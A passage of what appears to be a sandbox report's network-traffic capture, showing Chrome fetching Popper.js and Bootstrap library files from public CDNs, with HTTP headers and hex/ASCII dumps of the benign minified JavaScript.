2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 Data Ascii: top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}ret
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e Data Ascii: eight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 Data Ascii: ole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={ins
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 Data Ascii: this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pa
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 Data Ascii: eturn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){r
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 Data Ascii: eturn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functi
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eturn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	104.18.11.207	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:30 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:30 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:30 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: ccb91cab4761e398420eaeb744190eab CDN-Cache: HIT CF-Cache-Status: HIT Age: 1477110 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f47fe633cc08ccc-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:30 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2024-12-19 14:13:31 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	104.18.10.207	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:30 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:30 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:30 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 2001215 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: 